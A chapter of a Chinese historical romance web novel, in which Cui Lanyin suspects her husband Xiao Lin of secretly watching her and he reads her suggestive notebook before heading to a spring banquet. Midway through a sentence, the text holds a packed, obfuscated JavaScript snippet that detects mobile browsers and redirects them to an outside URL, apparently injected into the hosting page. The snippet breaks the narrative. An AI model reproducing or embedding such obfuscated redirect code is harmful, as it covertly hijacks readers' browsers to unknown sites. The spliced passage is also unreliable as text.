崔兰因叹了口气,又指着自己,“那我呢,我有什么缺点?” 陈媪瞬间千言万语凝在脸上,“……” 她是忍了又忍,才把嘴闭牢。 崔兰因看懂她的意思,却一点也不伤心,反而道:“对嘛!人人都有缺点,怎么会有人没有缺点呢!” 陈媪把崔兰因歪斜的身子掰回去,无奈道:“女郎要找长公子的缺点做什么?” 崔兰因苦恼道:“萧临最近在躲我,我觉得他不正常。” 陈媪马上想起一件事,“那之前女郎不也是故意在躲着长公子,女郎以为是为了什么呢?” 不会反省自身也是崔兰因的缺点之一,陈媪希望她能够有自知之明。 崔兰因理直气壮:“那怎么能一样,我那是……” ……我那是为了吸引萧临注意。 话还半截在肚子里,崔兰因突然灵光一现,得到启发。 难道,萧临也是在吸引她,注意? 竟然学她的法子,真没新意! 不过有了这一层想法,崔兰因格外留意观察。 果然,萧临虽不与她碰面,可总在看她。 静静的、默默的。 在不容易被注意到的角落里、阴影中。 好几次她和婢女在院子里时候,书房里都会有一双眼睛若有似无地看来。 她每次都有努力假装没有察觉。 这是他们之间的秘密。 她会任由那道视线游荡、描摹、摩挲在她脸上、身上。 每当这个时候,她就好像是被蛰伏的蛇盯上的猎物,不由会产生一种发自心底的颤栗与恐慌。 她必须停.下说话与动作,才能克制住呼吸不会因此变得更加急促、紊乱,而被周遭的人发觉。 偶尔时间长了,她也会受不住想央他快点停.下,免得因呼吸不畅而当场昏倒。 可若是他快快瞥两眼,她又会不满,好像还没品出味来就戛然而止,不得畅快。 由此可见,人与人之间终究隔着两层肚皮,无法真正深入了解彼此的喜好与忍受程度。 可是崔兰因和萧临还没熟到可以开诚布公,无话不说的地步。 所以她只能利用小黄册抄些话本上的好句,来抒发自己不能疏解的心情。 那些让人脸红耳赤的句子,也不知长公子能否读得明白? 他的目光是一日比一日凝重、幽暗和黏腻。 像是快要熬干的糖水,赤褐色、浓.稠、焦甜味,缓慢流淌在他们之间。 崔兰因光是回忆就手颤,纸上的字纷纷替她扭了起来,留下一个个婀娜妖娆的印记。 / 春天复苏的不仅是大地万物,还有建康城里的赏花会、诗会、品画会…… 各种名目的宴会纷至沓来,砸得备受瞩目的萧家新妇崔兰因眼花缭乱,疲于应付,时感无趣。 偷懒托病过几回,也不知道是哪个好奇多事的娘子以为她是有喜,谣言一传十十传百。 崔兰因不得继续现身,以灵敏活跃的身影止住越传越离谱的谣言。 崔芙宁“病”的次数比她多,这次也没有来王家的春日宴,崔兰因和一些娘子没话找话,聊了会胭脂水粉就借着更衣遁了。 春日宴被戏称“相看宴”,未嫁适龄的女郎才是重中之重,如崔兰因这类已嫁人的娘子都是陪衬。 王大娘子要顾着萧家几个小娘子甚至还有陆娘子,便分不出神盯着她,崔兰因趁机溜了个没影。 她这一走,王十一娘就迫不及待拉拢旁边好友,道出她才听来的大秘密: “你们可有听袁四郎说,原来崔家二娘子和二皇子两情相悦,在白孟城可是差点都成亲了!!!” 这可比之前传得那些捕风捉影的猜测惊人多了。 “这话怎好乱说,那可是长公子之妻……”也有理智的娘子不想惹祸上身,开口道:“袁四郎怕不是因为上一回被长公子下了面子,心怀不满才故意编排的?” “可若是真的,长公子却被蒙在鼓中岂不可怜?” 建康城的女郎们对长公子不说死心塌地地爱慕,至少也有小小的心动过。 眼看一只麻雀飞上梧桐木,占了那最好的窝巢,心中不痛那是不可能的! “可这一没物证二无人证,长公子也不会信啊。” 王十一娘也是有备而来,她清了清喉咙道:“正好今日二殿下也在,我们且盯住她们二人,若真有苗头,不可能安耐住不碰面!到时候我们再说给长公子听,不是更有说服力?” 士族豪门这样的腌臜事不少见,几位女郎更是看热闹不嫌多,纷纷点头同意。 还有人道:“要是长公子也在就好了。” 可她们都清楚,长公子萧临甚少出席这类宴会,成婚前少,成婚后更没必要。 所以,萧临根本不可能露面! / 今日休沐,萧临腾出时间整理书房。 萧家的女眷多半都去参加王家的春日宴,萧园都清净不少,连鸟雀都敢收了翅膀落在树梢,啄一啄那些青中带黄的果子。 崔兰因最看重她的樱桃树,时常见她推开门气冲冲奔出来驱赶鸟,今日主人不在,鸟胆子大了好一圈。 几只黑眼翠羽的“大盗”甚至用爪子挂在果子上荡起了秋千。 萧临走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15020167|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房绕到后院,不用挥手,光是那挺拔的身影走近,鸟儿一哄而散,徒留晃动的树枝以及上面颤动的果子。 廊下支架上的彩毛鹦鹉左晃右晃脑袋,跳着莫名其妙的鸟舞,在为他喝彩。 “好鸟!”“好鸟!”“乖宝!” 萧临瞥了它一眼,没有和鸟斗嘴干架,那是崔兰因才会干的事。 他只是望向后书房的窗,窗扇打了一条窄缝,不知是风吹开,还是有人故意留下。 从外边看不清里面,只有一片幽深。 萧临挪不开眼,就仿佛那窄窄一条深隙有莫大的吸引,引.诱他沉沦其中,无法自拔。 即便一次又一次自我告诫。 未经准许,擅动旁人手记有违君子本心,可是崔兰因那册子从没有避着人,总是堂而皇之摊在桌上,只要识字的人,随意翻开便可瞧见。 起初他说服自己通过这册子来了解崔兰因,好投其所好,谁知她上面写的东西越来越“不可言说”,竟好似是这女郎通过臆想,在满足自己。 满足她无法与檀郎结合之下,那些不能实现的事。 古之贤者,少有人把内宅后院之事挂在嘴边,即便留名青史也从不提及他们的妻妾,故而纵使遍览群书,萧临无法借鉴前人经历,更也理不出个头绪。 此情此景,他应该如何处之泰然? 思索问题时萧临有踱步的习惯,只是这一踱,他又走到后院书房门前,望着那两扇门,他竟是愣了瞬,才宛若无事推开。 书案上,崔兰因的小黄册大大方方躺着,就好像不怀半分心事,纯真无邪。 萧临朝它伸出长指,小黄册正好被窗缝里的风吹得书页翻动,无端端让人想到害羞的娘子按下自己裙摆。 萧临手指插.入书页,面不改色往旁一翻,也是好巧不巧,右边是崔兰因上一回写的,他已阅过,左边是她刚着墨的新作。 只见最显眼的一行写着:“……檀郎把我拽到假山后,我想跑,但被他狠狠按住,亲吻……” 萧临额角青.筋突突直跳,目光慢慢凝在“亲吻”二字上。 脑海里浮出的就是崔兰因的那两瓣唇。 成婚前他翻看过萧家准备的“婚事画册”,见过名为“亲吻”的步骤,就是两个人四瓣唇贴在一块,好像在互相品尝,又仿佛只是紧紧相贴。 ……而后一页便是互相宽衣,赤.裸相待。 即便崔兰因今日并没有写亲吻之外的事,但是萧临相信假以时日他会在这本小黄册上看见。 他有些恍惚,扶着书案的两只手慢慢蜷起。 小青蛇从他的腕间游走,扭着瘦长的身子爬到册子上,鳞片刮着宣纸发出沙沙声。 蛇扬起头部,蛇瞳剔透如珠,红如赤日,如细梭的瞳仁分割两瓣,神秘深邃,宛若通灵智,识人心。 萧临轻轻笑了下,蛇倏然僵住不动,连蛇信子都没有吐出来。 它谨慎地凝视主人。 萧临低头,指腹摩挲着崔兰因的字迹,也许是因为他手心沁出的汗,竟化开了墨。 亲吻二字洇出了毛躁朦胧的边缘,就好像有什么被禁锢的鬼怪正在往外奋力挣扎,想要突破这幽禁的牢笼,为非作歹,肆意横行。 萧临合拢小黄册,走向门外。 景澜景澄二人皆垂首侍立,静听吩咐,良久,只听长公子声音低沉,问: “王家春日宴,设在何处?”